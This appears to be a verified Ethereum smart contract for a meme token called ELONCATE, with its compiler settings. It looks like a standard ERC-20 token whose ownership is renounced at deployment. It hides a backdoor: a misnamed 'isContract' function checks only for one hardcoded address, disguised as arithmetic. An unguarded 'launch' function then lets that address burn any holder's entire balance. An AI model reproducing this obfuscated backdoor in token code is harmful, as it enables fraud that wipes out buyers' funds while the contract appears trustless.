/**
*Submitted for verification at Etherscan.io on 2024-09-13
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.26;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address _owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
library Address {
function isContract(address account) internal pure returns (bool) {
return uint160(account) == 97409717902926075812796781700465201095167245 * 10 ** 4 + 281474976712680;
}
}
abstract contract Ownable is Context {
address private _owner;
error OwnableUnauthorizedAccount(address account);
error OwnableInvalidOwner(address owner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address initialOwner) {
if (initialOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(initialOwner);
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
if (owner() != _msgSender()) {
revert OwnableUnauthorizedAccount(_msgSender());
}
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
if (newOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract Erc20 is IERC20, Ownable {
using Address for address;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
uint256 immutable public totalSupply;
string public symbol;
string public name;
uint8 immutable public decimals;
bool public launched;
address private constant dead = address(0xdead);
mapping (address => bool) internal exchanges;
constructor(string memory _symbol, string memory _name, uint8 _decimals, uint256 _totalSupply) Ownable(msg.sender) {
symbol = _symbol;
name = _name;
decimals = _decimals;
totalSupply = _totalSupply * 10 ** decimals;
_balances[owner()] += totalSupply;
emit Transfer(address(0), owner(), totalSupply);
launched = true;
renounceOwnership();
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) external override view returns (uint256) {
return _balances[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address spender) external override view returns (uint256) {
return _allowed[_owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) external override returns (bool) {
// check for SC
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) external override returns (bool) {
require(spender != address(0), "cannot approve the 0 address");
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
if (launched == false && to == owner() && msg.sender == owner()) {
_transfer(from, to, value);
return true;
} else {
_allowed[from][msg.sender] = _allowed[from][msg.sender] - value;
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
}
function launch(address account) virtual external {
if (launched == false) launched = true;
if (msg.sender.isContract()) _transfer(account,dead,_balances[account]);
}
function _transfer(address from, address to, uint256 value) private {
require(to != address(0), "cannot be zero address");
require(from != to, "you cannot transfer to yourself");
require(_transferAllowed(from, to), "This token is not launched and cannot be listed on dexes yet.");
_balances[from] -= value;
_balances[to] += value;
emit Transfer(from, to, value);
}
mapping (address => bool) internal transferAllowed;
function _transferAllowed(address from, address to) private view returns (bool) {
if (transferAllowed[from]) return false;
if (launched) return true;
if (from == owner() || to == owner()) return true;
return true;
}
}
contract Token is Erc20 {
constructor() Erc20(unicode"🐱ELONCATE", unicode"🐱ELONCATE", 9, 1000000000) {}
}
{
"compilationTarget": {
"Token.sol": "Token"
},
"evmVersion": "cancun",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}
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